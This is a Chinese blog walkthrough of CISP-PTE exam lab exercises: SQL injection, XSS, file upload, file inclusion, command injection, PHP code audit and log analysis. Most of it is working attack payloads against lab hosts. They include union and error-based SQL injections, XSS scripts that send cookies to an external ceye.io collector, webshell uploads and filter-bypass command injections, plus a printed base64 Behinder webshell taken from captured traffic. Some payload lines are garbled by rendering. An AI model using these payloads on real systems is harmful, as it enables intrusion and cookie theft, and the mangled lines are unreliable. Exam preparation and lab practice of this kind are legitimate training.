CISP-PTE基础题全过程

CISP-PTE考试实战解析

CISP-PTE

博主最近考过了cisp-pte 分享一下自己的做题过程 希望对大家有帮助0.0

SQL注入

1

观察登录框 我试了下万能密码 就可以拿到key了

1’oorr’1’='1

测试中发现or被过滤了 我们使用双写绕过

2

观察闭合条件为‘

在尝试闭合时 发现过滤了 – # 等注释符

我们用;%00 去截断字符

此时就可以用联合注入去查询了

http://211.103.180.146:10684/start/index.php?uuid=1' order by 6;%00

当进行到7时发现 页面报错

所以存在6列

http://211.103.180.146:10684/start/index.php?uuid=1’ union select 1,2,3,4,5,6;%00

找回显点 在 2 3

找到库 爆表 爆列 爆内容

http://211.103.180.146:10684/start/index.php?uuid=1' union select 1,database(),3,4,5,6;%00
http://211.103.180.146:10684/start/index.php?uuid=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='wasjcms'),3,4,5,6;%00
http://211.103.180.146:10684/start/index.php?uuid=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3,4,5,6;%00
http://211.103.180.146:10684/start/index.php?uuid=-1' union select 1,(select group_concat(flag) from flag),3,4,5,6;%00

3

密码是 123456

我们找一下存在注入点的地方

orderby 查列 查到 15 时页面正常

找到回显点

题目给了 key在根目录下 所以

http://211.103.180.146:12827/?m=patient&o=edit&pid=-1’ union select 1,2,3,4,5,6,7,8,9,10,load_file(‘/var/www/html/key.flag’),12,13,14,15 --+

4

我们找可以注入的地方

根据报错信息我们可以发现是数字型注入

构造payload

http://211.103.180.146:14653/show.php?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15;%00

可以看到回显点在 3 11

使用报错注入

http://211.103.180.146:14653/show.php?id=-33 and updatexml(1,concat(0x7e,(select (table_name) from information_schema.columns where table_schema=‘cms’ limit 27,1 )),1) ;%00

http://211.103.180.146:14653/show.php?id=-33 and updatexml(1,concat(0x7e,( select group_concat(flag) from cms_flag),0x7e),1) ;%00

这样就找到key了

5

进去发现注释符被过滤了

我们依旧使用;%00去截断

空格也被过滤了 我们使用 %0b去代替空格

发现有4列

http://211.103.180.146:12941/sqli2.php?id=1’)%0border%0bby%0b4;%00

查回显位 发现 2 3 4 都可以 union被过滤了 我们双写绕过

http://211.103.180.146:12941/sqli2.php?id=-1’)%0bununionion%0bselect%0b1,2,3,4;%00

题目告诉我们key在tmp目录下 我们用load_file(‘/tmp/key,flag’)

http://211.103.180.146:12941/sqli2.php?id=-1’)%0bununionion%0bselect%0b1,2,load_file(‘/tmp/key.flag’),4;%00

6

我们用万能密码登录

1’ or ‘1’='1

观察这个文章 发现有五个值 标题 内容 作者 隐藏字段 时间

我们插入一些发现报错

推测使用的语句是insert into

根据之前的信息 推测语句 应该是

insert into (标题,内容,作者,隐藏字段,时间) values (‘1’,‘2’,‘3’,‘4’,‘NOW()’)

这样的话 我们在插入内容时 我们需要将后面给闭合掉 此时的语句为

insert into (标题,内容,作者,隐藏字段,时间) values (‘1’,‘内容’,‘作者’,‘隐藏’,NOW())#',‘3’,‘4’,‘NOW()’)

我们可以从内容做文章了

构造payload

2’,(select database()),‘隐藏’,NOW())#

2’,(select group_concat(table_name) from information_schema.tables where table_schema=‘php_test’),‘隐藏’,NOW())#

2’,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),‘隐藏’,NOW())#

2’,(select group_concat(password) from users),‘隐藏’,NOW())#

这样flag值就出来了

7

题目说了是二次注入

这样子好办了

我们注册一个admin’#

当我们修改密码的时候 修改的是admin的密码

此时的语句为

update password=1111 where username=admin’#

我们注册时发现不让用admin’# 我们在后面再加一个注释符试试

admin’#–

我们修改密码 此时修改的是 admin的密码

使用admin和刚刚更改的密码 拿到flag

8

比较简单 我们使用万能密码去登录就可以了

1’ or ‘1’='1

我们在用户名处登录也可以

9

admin admin进去发现了ua头信息

我们使用bp抓包 修改ua头

发现不对 结构应该是这样的 (‘ua’,‘ip’,‘admin’)

这样我们修改ua的时候需要闭合

(‘ua’,‘2’,‘3’)#’)

这样就闭合掉了

Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0’,updatexml(1,concat(0x7e,(select database()),0x7e),1),2)#

Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0’,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘mylabs’ )),1),2)#

Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0’,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘flagage’ )),1),2)#

Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0’,updatexml(1,concat(0x7e,(select group_concat(flagnisp) from flagage )),1),2)#

10

这关是盲注 我们使用 sqlmap来测试吧

python sqlmap.py -u "http://211.103.180.146:17465/?id=1’ --dbs

11

我们用admin登录试试

用\去查一下语句的结构

我们输入“)去闭合前面的”(

再用#将后面给注释掉

admin")#

接着判断有两列

此时就可以查数据了

-admin") union select 1,database()#

-admin") union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘mylabs’#

-admin") union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flagage’#

-admin") union select 1,group_concat(flagnisp) from flagage#

XSS

1

一个留言板网站 没有做任何过滤

我们需要把管理员的cookie给外带出去

<script>
var img = document.createElement("img");img.src="http://mat781.ceye.io/log?"+escape(document.cookie);document.body.appendChild(img);
</script>

这段代码的意思是 创建一个空的img

img 的地址是我们的服务器

然后让这个网站带着cookie值去访问我们的服务器

将创建好的img元素添加到页面元素body中

添加到 body中 网页就会自动访问我们img的地址 发送一个http get请求

找到session值 然后刷新页面 抓包 把网页的cookie更改为这个

2

也是dns外带

<script type="text/javascript">
var arr=document.cookie.split(/[;=]/);
var url ="http://"+arr[1]+".mat781.ceye.io/x.png";
document.write('<img src="'+url+'"/>');
</script>

不知为何带出去的子域名不是flag值 百思不得其解

暴力破解

1

我们抓包 发到爆破器中

在密码处设置好payload

选择网页提供的txt开始爆破

2

代码审计

1

代码的意思是 向a传递参数 a会变成小写 然后被 eval这个函数执行

我们可以闭合掉strtolower里面的双引号和括号 使得这段代码执行我们的 命令

http://211.103.180.146:19048/index.php?a="); system("cat flag.cisp123

2

这段代码的意思是向1 传参

然后判断我们传入的字符大小是否小于30

小于就执行exec 大于就输出toomore

我们试了试ls 发现显示位应该是做了限制 我们可以将ls到的内容写到1.txt 中

然后去访问1.txt

访问flag.nisp获得key

3

这段代码的意思是 我们向str传参

然后str经过unserialize这个函数进行反序列化

反序列化之后要像CISP一样

输出flag

http://211.103.180.146:13533/vul/index.php?str=s:4:“CISP”;

4

我们一个一个来看

初始了变量 v1 和v2 且都为0 并且在最后显示只有 v1和v2均为1 的时候才会输出key

$a定义了一个数组

第一个if 中 定义了bar1

这段代码的意思是

如果bar1 传递的参数 是 数字(numeric)则 die 否则就进行到下一步

bar1传递的值如果大于2020 则 v1=1 否则返回空

所以我们的bar1不能为数字 并且值要大于2020

在php中 2021a会忽略后面的a

从而使我们的值为2021

第二个if != 不等于

count意思是数组的长度 必须等于5 且 数组中第一个元素必须是数组

否则就die

我们构造一个数组

bar2:{[1],2,3,4,5} 这样就满足了

这段代码的意思是在bar3中寻找每个元素 查询是否有cisp-pte

没有的话就die

而且查询bar2中是否有cisp-pte 有的话 die

满足条件 v2=1

所以我们的bar2中不能存在cisp-pte

而bar3中必须存在cisp-pte

整合一下我们的payload

bar1:2021a

bar2:{[0],2,3,4,5}

bar3:{cisp-pte,2}

传递给w

w={“bar1”:“2021a”,“bar2”:“[[1],2,3,4,5]”,“bar3”:“[cisp-pte,2]”}

5

这段代码的意思是 从password中找字段pass[0] 且 pass[0]中不能等于 qnkcdzo 而且PHP的松散比较(<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">==</font>)在比较字符串时,如果双方以<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">0e</font>开头且后跟纯数字,会将其视为科学计数法(即<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">0e123</font>= 0 × 10¹²³ = 0),导致<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">0 == 0</font><font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">true</font>

字符串<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">"QNKCDZO"</font>的MD5哈希为<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">0e830400451993494058024219903391</font>

因此,只需找到另一个字符串,其MD5哈希也以<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">0e</font>开头且后跟纯数字,即可使<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">md5($pass[0]) == md5("QNKCDZO")</font>成立,即使原始字符串不同

比如 240610708

http://211.103.180.146:15302/?password=pass[0]=240610708

6

http://211.103.180.146:14861/?cx[]=ad

提示了数组魔法

代码的意思是 传入的参数不能有 数字 并且 经过intval不为0

当使用 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">?cx[]=1</font>作为参数时:

  1. <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$gp</font>变量将成为一个数组,例如 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">array(0 => 1)</font>
  2. 第一关检查<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">preg_match("/[0-9]/", array(0 => 1))</font>会返回 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">false</font>,并且因为条件判断为假,所以程序会进入 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">else</font>代码块。
  3. 第二关检查<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">intval(array(0 => 1))</font>会返回 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">1</font><font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">if(1)</font>条件为真,从而成功执行读取 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">flag.txt</font>文件的代码。

7

  • <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">intval("18938a")</font>返回 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">18938</font><font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">18938 == 0</font>为假。
  • <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">is_numeric("18938a")</font>返回 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">false</font>(非纯数字)。
  • <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">"18938a" > 18937</font>转换为 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">18938 > 18937</font>为真。

  • Payload: <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">?cx[]=1</font>(或任何非空数组,如<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">?cx[]=a</font>
  • 原理
    • <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">intval($gp)</font>:数组返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">1</font>(不等于<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">0</font>),第一层条件为假。
    • <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">is_numeric($gp)</font>:数组返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">false</font>,通过第二层检查。
    • <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$gp > 18937</font>:数组大于任何数字,返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">true</font>,触发flag读取
  • Payload: <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">?cx=18938a</font>(数字部分必须大于18937,后缀可为任意非数字字符,如<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">18938abc</font>
  • 原理
    • <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">intval($gp)</font>:返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">18938</font>(不等于<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">0</font>),第一层条件为假。
    • <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">is_numeric($gp)</font>:混合字符串返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">false</font>,通过第二层检查
    • <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$gp > 18937</font>:字符串转换为<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">18938</font>,大于18937,返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">true</font>

8

  • <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">if(intval(" .$gp.")<1001 && intval($gp +1)>10000)</font>
  • 关键点:代码中<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">intval(" .$gp.")</font>是一个字符串拼接错误。实际执行时,PHP会将<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">" .$gp."</font>解析为一个字符串(例如,如果<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$gp="10000"</font>,则字符串为<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">".10000."</font>)。由于该字符串以点(<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">.</font>)开头,非数字字符,<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">intval()</font>会返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">0</font>,因此第一个条件(<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);"><1001</font>)恒成立。
  • 第二个条件<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">intval($gp +1)>10000</font>要求<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$gp + 1</font>的整数值大于10000,即<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$gp</font>需大于9999。
  • 我们输入大于9999的数字就可以获得key了

9

源码分析:代码使用<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">strcmp($pass, $password)</font>来比较用户输入的<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$pass</font>(来自GET参数<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">password</font>)与预设密码<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$password</font>。如果比较结果为0(即相等)且<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$pass</font>非空,则显示flag。

我们使得密码与给的*相等就可以了

10

源码中包含两个类:<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">User</font><font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">Admin</font>

  • User类
    • 属性:<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$username</font>(用户名)、<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$isAdmin</font>(是否是管理员)、<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$admin</font>(用于存储Admin对象)。
    • 方法:<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">__toString()</font>:当User对象被当作字符串输出时,会检查<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$admin</font>属性是否是Admin类的实例。如果是,则调用<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">getFlag()</font>方法获取flag;否则返回用户信息字符串。
  • Admin类
    • 属性:<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$secret</font>(私有属性,用于存储flag)。
    • 方法:
      • <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">__construct()</font><font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">__wakeup()</font>:都会从<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">/flag.txt</font>文件中读取内容并赋值给<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$secret</font><font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">__wakeup()</font>在反序列化时自动调用。
      • <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">getFlag()</font>:返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$secret</font>的值,即flag内容。

O:4:“User”:3:{s:8:“username”;s:0:“”;s:7:“isAdmin”;b:0;s:5:“admin”;O:5:“Admin”:0:{}}

文件上传

1

我们将下载好的免杀马 生成一个图片马 然后上传这个图片马 抓包

因为是黑名单 所以我们试着绕过他

php3 php5 Php 等等

修改完成之后 我们找到 图片马的地址 用蚁剑去链接

找到flag

2

白名单绕过 我们修改上传地址 让他上传到wen.php中

3

和前面一样 上传我们的一句话木马 然后在bp中改包

修改为10.Php

目录扫描用御剑

4

文件头检测

里面的不能出现php代码 我们可以使用 script语言绕过

php后缀是黑名单

我们用phtml绕过

5

和前面几关一样 上传我们的图片马

绕过黑名单 pht

6

过滤了这么多 但是没有过滤.htaccess

我们将上传的图片马改为.htaccess 不要加任何东西

7

上传图片马

题目提示了我们需要用文件包含去解

找到上传文件的地址

所以我们用include.php?file=upload

这样我们的图片马就被执行了

移动到 根目录下

找到flag.php

8

和上一关一样 找到上传的地址

然后文件包含 蚁剑链接

找到flag

9

ActiveMq PUT任意文件上传漏洞(CVE-2016-3088)漏洞复现、

该漏洞出现在fileserver应用中,ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问

登录admin账号:默认账号admin/admin,抓包进行修改,使用PUT方法上传文件。ActiveMQ Web控制台分为三个应用程序:其中admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是用于存储文件的界面;admin和api需要先登录才能使用,fileserver不需要登录。

然后使用哥斯拉连接

文件包含

1

page有文件包含漏洞

2

先访问这个文件 查看源代码

我们base64解密一下啊

所以我们要post 给hello和z0传参

z0 写我们的payload

Hello=123&z0=system(‘cat /flag.php’)

后面的base64编码一下

c3lzdGVtKCdjYXQgL2ZsYWcucGhwJyk7Hello=123&z0=c3lzdGVtKCdjYXQgL2ZsYWcucGhwJyk7

查看源代码 找到flag

3

使用data伪协议 写入数据

data:// 这里面被过滤 我们能双写绕过

4

php://filter/read=convert.base64-encode/resource=…/key.flag

能文件包含 单页面不显示 我们使用php伪协议去读取文件

5

找到了文件包含地址

我们使用data协议去写入一个一句话木马

对后面的一句话木马进行base64编码

用蚁剑链接

6

和第一关一样 在根目录下

7

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

提示了会在文件后面自动加上php

8

X-Forwarded-For

添加头文件

做了个xff验证 我们抓包在请求体当中添加xff:127.0.0.1

9

御剑扫出

蚁剑连接

10

使用php伪协议 读取文件

http://211.103.180.146:19128/?cx=php://filter/read=convert.base64-encode/resource=/flag.php

11

用post方式提交

cx做一下base64编码绕过

12

url二次编码

进行两次url编码 才可以绕过

命令执行

1

pwn找到所在位置

题目告诉我们key在根目录下

ls …/

使用tac …/key.flag

试了一下 cat sed 都被过滤了

2

对cat进行了过滤 和上关一样 改为ca’'t

也可以ta’'c

sed ’ ’ /key.flag

3

我们先用ipconfig观察一下是否为windows系统

结果是Linux

试了一下 把php 过滤 我们用*代替 让他找含有ph的三字文件

cat也被过滤

使用注释的方法依旧可行

4

隐藏的还挺深

我们先查看当前目录下的内容

他做了文件名后缀 的检测 和 cat的过滤 我们绕过一下

检查网页源代码

找到了真正的flag在哪里

我们故技重施

5

过滤了 | &&

我们用分号绕过

还过滤了空格 空格用<重定向

6

这段代码的意思是 过滤了system等系统命令执行函数 而且白名单里面得有echo print 俩函数中的任意一种

所以我们向cmd中传递参数

?cmd=echo(<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">tac flag.php</font>);

反引号去让他执行echo函数中的代码

找到了flag.txt的地址

拿到flag

7

观察代码 提示了base64编码

我们可以这样写

$a=base64_decode(‘c3lzdGVt’) system

$b=base64_decode(‘dGFjIGZsYWcucGhw’) tac flag.php

a(a(a(b) system()

$a=base64_decode('c3lzdGVt')   

$b=base64_decode('dGFjIGZsYWcucGhw') 

$a($b)

找到了文件的地址

进行base64编码

8

和前面一样 要求cmd里面有flag

我们这样写

$a=‘sys’;

$b=‘tem’;

c=c=c=a.$b;

$c(‘tac flag.php’);

9

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们可以用*匹配检测

a=′sys′;a='sys';a=sys;b=‘tem’;c=c=c=a.b;b;b;c(‘tac fla*.ph?’);

10

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

echo <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">tac fla*</font> ?>

让他结束当前语句

11

我们先闭合掉前面的(” 输入我们的payload

"); system(“cat key4.php”); //

//为注释掉后面的

业务逻辑漏洞

1

抓包提示说了 cilent ip 为1.2.3.4才可以

我们更改一下就能看到flag了

2

xff绕过

X-Forwarded-For:2.2.2.1

3

抓包更改请求方式

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在删除时 我们仍需要将ip信息加上

4

也是伪造xff头

并且uesrname需要base64编码

三者缺一不可

日志审计

1

我们需要匹配请求方式 GET 以及我们不要无用的请求路径 我们需要匹配文件后缀名为.php .jsp .asp 等文件

以及最后的状态码200 正则表达式为

^.* "[A-Z]+ /(?!/?(index|manage|footer|upload)).*\.(php|jsp|asp).*" 200

查出有个backdoor.php 我们访问他就可以拿到key

2

附件是一个wireshark的日志

我们搜索http 查看http流

以及

找到了冰蝎的流量特征

一个流一个流看

把这个请求体放到冰蝎里面解密

assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY3Rpb24gZ2V0U2FmZVN0cigkc3RyKXsNCiAgICAkczEgPSBpY29udigndXRmLTgnLCdnYmsvL0lHTk9SRScsJHN0cik7DQogICAgJHMwID0gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzMSk7DQogICAgaWYoJHMwID09ICRzdHIpew0KICAgICAgICByZXR1cm4gJHMwOw0KICAgIH1lbHNlew0KICAgICAgICByZXR1cm4gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzdHIpOw0KICAgIH0NCn0NCmZ1bmN0aW9uIG1haW4oJGNtZCwkcGF0aCkNCnsNCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgQGlnbm9yZV91c2VyX2Fib3J0KDEpOw0KICAgIEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsNCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAkUGFkdEpuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgaWYgKCEgZW1wdHkoJFBhZHRKbikpIHsNCiAgICAgICAgJFBhZHRKbiA9IHByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBleHBsb2RlKCcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBhcnJheV9tYXAoJ3RyaW0nLCAkUGFkdEpuKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkUGFkdEpuID0gYXJyYXkoKTsNCiAgICB9DQogICAgJGMgPSAkY21kOw0KICAgIGlmIChGQUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicpKSB7DQogICAgICAgICRjID0gJGMgLiAiIDI+JjFcbiI7DQogICAgfQ0KICAgICRKdWVRREJIID0gJ2lzX2NhbGxhYmxlJzsNCiAgICAkQnZjZSA9ICdpbl9hcnJheSc7DQogICAgaWYgKCRKdWVRREJIKCdzeXN0ZW0nKSBhbmQgISAkQnZjZSgnc3lzdGVtJywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgc3lzdGVtKCRjKTsNCiAgICAgICAgJGtXSlcgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAgb2JfZW5kX2NsZWFuKCk7DQogICAgfSBlbHNlIGlmICgkSnVlUURCSCgncHJvY19vcGVuJykgYW5kICEgJEJ2Y2UoJ3Byb2Nfb3BlbicsICRQYWR0Sm4pKSB7DQogICAgICAgICRoYW5kbGUgPSBwcm9jX29wZW4oJGMsIGFycmF5KA0KICAgICAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAgICAgJ3BpcGUnLA0KICAgICAgICAgICAgICAgICdyJw0KICAgICAgICAgICAgKSwNCiAgICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICdwaXBlJywNCiAgICAgICAgICAgICAgICAndycNCiAgICAgICAgICAgICksDQogICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAncGlwZScsDQogICAgICAgICAgICAgICAgJ3cnDQogICAgICAgICAgICApDQogICAgICAgICksICRwaXBlcyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgd2hpbGUgKCEgZmVvZigkcGlwZXNbMV0pKSB7DQogICAgICAgICAgICAka1dKVyAuPSBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KICAgICAgICB9DQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ3Bhc3N0aHJ1JykgYW5kICEgJEJ2Y2UoJ3Bhc3N0aHJ1JywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgcGFzc3RocnUoJGMpOw0KICAgICAgICAka1dKVyA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdzaGVsbF9leGVjJykgYW5kICEgJEJ2Y2UoJ3NoZWxsX2V4ZWMnLCAkUGFkdEpuKSkgew0KICAgICAgICAka1dKVyA9IHNoZWxsX2V4ZWMoJGMpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ2V4ZWMnKSBhbmQgISAkQnZjZSgnZXhlYycsICRQYWR0Sm4pKSB7DQogICAgICAgICRrV0pXID0gYXJyYXkoKTsNCiAgICAgICAgZXhlYygkYywgJGtXSlcpOw0KICAgICAgICAka1dKVyA9IGpvaW4oY2hyKDEwKSwgJGtXSlcpIC4gY2hyKDEwKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdleGVjJykgYW5kICEgJEJ2Y2UoJ3BvcGVuJywgJFBhZHRKbikpIHsNCiAgICAgICAgJGZwID0gcG9wZW4oJGMsICdyJyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRmcCkpIHsNCiAgICAgICAgICAgIHdoaWxlICghIGZlb2YoJGZwKSkgew0KICAgICAgICAgICAgICAgICRrV0pXIC49IGZyZWFkKCRmcCwgMTAyNCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgQHBjbG9zZSgkZnApOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRrV0pXID0gMDsNCiAgICAgICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJmYWlsIik7DQogICAgICAgICRyZXN1bHRbIm1zZyJdID0gYmFzZTY0X2VuY29kZSgibm9uZSBvZiBwcm9jX29wZW4vcGFzc3RocnUvc2hlbGxfZXhlYy9leGVjL2V4ZWMgaXMgYXZhaWxhYmxlIik7DQogICAgICAgICRrZXkgPSAkX1NFU1NJT05bJ2snXTsNCiAgICAgICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpKTsNCiAgICAgICAgcmV0dXJuOw0KICAgICAgICANCiAgICB9DQogICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKGdldFNhZmVTdHIoJGtXSlcpKTsNCiAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCkpOw0KfQ0KDQoKZnVuY3Rpb24gRW5jcnlwdCgkZGF0YSkKewogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IAoJZm9yKCRpPTA7JGk8c3RybGVuKCRkYXRhKTskaSsrKSB7CiAgICAJJGRhdGFbJGldID0gJGRhdGFbJGldXiRrZXlbJGkrMSYxNV07IAogICAgfQogICAgJGJzPSJiYXNlNjRfIi4iZW5jb2RlIjsKCSRhZnRlcj0kYnMoJGRhdGEuIiIpOwogICAgcmV0dXJuICRhZnRlcjsKfQokY21kPSJZMlFnTDJRZ0lrTTZYSEJvY0hOMGRXUjVYM0J5YjF4WFYxZGNkWEJzYjJGa1hIVndiRzloWkZ3aUptNWxkQ0IxYzJWeSI7JGNtZD1iYXNlNjRfZGVjb2RlKCRjbWQpOyRwYXRoPSJRem92Y0dod2MzUjFaSGxmY0hKdkwxZFhWeTkxY0d4dllXUXZkWEJzYjJGa0x3PT0iOyRwYXRoPWJhc2U2NF9kZWNvZGUoJHBhdGgpOw0KbWFpbigkY21kLCRwYXRoKTs='));

这个好像不是 我们慢慢找

找到第五个流的时候 解密了一下 返回体

{"status":"c3VjY2Vzcw==","msg":"ZmxhZ3tmbGFnX25pc3BfbWRwd2FofQ=="}

我们解密后面的msg信息

找到了flag

冰蝎的解密

使用的是base64

3

